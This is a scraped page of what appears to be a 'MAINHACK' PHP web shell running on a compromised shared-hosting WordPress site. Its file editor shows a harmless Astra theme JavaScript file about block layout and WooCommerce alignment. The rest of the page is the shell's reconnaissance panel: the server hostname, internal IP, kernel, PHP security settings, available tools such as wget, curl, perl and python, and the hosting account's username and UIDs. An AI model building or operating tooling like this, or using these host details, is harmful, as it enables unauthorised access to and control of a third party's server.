[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: column-block-compatibility.js
const updatingBlock = ['core/group']; wp.hooks.addFilter( 'blocks.registerBlockType', 'astra/meta/groupLayoutSettings', (settings, name) => { if (!updatingBlock.includes(name)) { return settings; } const newSettings = { ...settings, supports: { ...(settings.supports || {}), layout: { ...(settings.supports.layout || {}), allowEditing: true, allowSwitching: false, allowInheriting: true, }, __experimentalLayout: { ...(settings.supports.__experimentalLayout || {}), allowEditing: true, allowSwitching: false, allowInheriting: true, }, }, }; return newSettings; }, 20 ); // Get the block editor's data module. const { dispatch } = wp.data; // Create a function to set the default align attribute function setWooDefaultAlignments() { const checkoutBlocks = wp.blocks.getBlockTypes().some(block => block.name === 'woocommerce/checkout'); const cartBlocks = wp.blocks.getBlockTypes().some(block => block.name === 'woocommerce/cart'); if ( checkoutBlocks ) { const checkoutBlock = wp.data.select('core/block-editor').getBlocks().find(block => block.name === 'woocommerce/checkout'); if (checkoutBlock && checkoutBlock.attributes.align !== 'none') { const checkoutClientId = checkoutBlock.clientId; const checkoutLocalStorageKey = 'hasCheckoutBlockInserted'; const checkoutLocalStorageData = JSON.parse(localStorage.getItem(checkoutLocalStorageKey)) || {}; if ( ! checkoutLocalStorageData[checkoutClientId] ) { const updatedCheckoutAttributes = { ...checkoutBlock.attributes, align: 'none' }; dispatch('core/block-editor').updateBlockAttributes(checkoutClientId, updatedCheckoutAttributes); checkoutLocalStorageData[checkoutClientId] = true; localStorage.setItem(checkoutLocalStorageKey, JSON.stringify(checkoutLocalStorageData)); } } } if ( cartBlocks ) { const cartBlock = wp.data.select('core/block-editor').getBlocks().find(block => block.name === 'woocommerce/cart'); if (cartBlock && cartBlock.attributes.align !== 'none') { const cartClientId = cartBlock.clientId; const cartLocalStorageKey = 'hasCartBlockInserted'; const cartLocalStorageData = JSON.parse(localStorage.getItem(cartLocalStorageKey)) || {}; if ( ! cartLocalStorageData[cartClientId] ) { const updatedCartAttributes = { ...cartBlock.attributes, align: 'none' }; dispatch('core/block-editor').updateBlockAttributes(cartBlock.clientId, updatedCartAttributes); cartLocalStorageData[cartClientId] = true; localStorage.setItem(cartLocalStorageKey, JSON.stringify(cartLocalStorageData)); } } } } // Listen for the first insertion of a WooCommerce block wp.data.subscribe(() => { setWooDefaultAlignments(); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697